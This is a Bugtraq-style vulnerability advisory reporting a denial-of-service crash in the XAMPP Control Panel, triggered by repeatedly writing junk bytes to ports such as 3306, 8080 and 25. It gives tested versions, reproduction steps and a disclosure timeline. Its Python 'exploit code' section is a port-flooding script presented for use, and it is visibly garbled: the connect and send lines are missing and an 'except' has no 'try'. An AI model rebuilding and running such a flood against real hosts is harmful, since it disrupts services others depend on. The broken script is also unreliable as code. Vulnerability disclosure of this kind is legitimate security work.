XAMPP Control Panel Memory Corruption Denial Of Service

From: HYP3RLINX <apparitionsec@gmail.com>
To: bugtraq@securityfocus.com
Subject: XAMPP Control Panel Memory Corruption Denial Of Service

[+] Credits: John Page (hyp3rlinx)      

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt

[+] ISR: ApparitionSec


XAMPP Control Panel

XAMPP is a free and open source cross-platform web server solution stack package developed by Apache Friends,
consisting mainly of the Apache HTTP Server, MariaDB database, and interpreters for scripts written in the PHP
and Perl programming languages.

Vulnerability Type:
Memory Corruption DOS

CVE Reference:

Vulnerability Details:

XAMPP Control Panel crashes with access violation when writing junk bytes into several different ports e.g.

Tested following ports / versions:

(MySQL) 3306 v3.2.2
(Tomcat) 8080 (XAMPP v3.1.0)
(FileZilla) 21
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.

It is not that XAMPP Control Panel is listening on some port, however memory corruption and Denial Of Service does
occur when you constantly write junk into, for instance, the MySQL, Tomcat, FileZilla, Mercury Mail listening ports.

1) Launch XAMPP control panel
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail) with Apache running and or Tomcat 

Target different services and port combinations to reproduce.

Important to note is that neither MySQL or Apache itself crash, it IS the XAMPP Control Panel that crashes with Access Violation.

Tested Windows SP1

POC Video:

Exploit code(s):

import socket

print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"

IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")
while 1:
        print "Die!"
    except socket.error:
        print "[+] Done! "

Disclosure Timeline:
Vendor Notification: November 1, 2016
Vendor acknowledgement: November 4, 2016
Vendor released Fix : December 22, 2016 
(NO public mention as of the time of this writing)
December 24, 2016  : Public Disclosure

Exploitation Technique:

Severity Level:

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.


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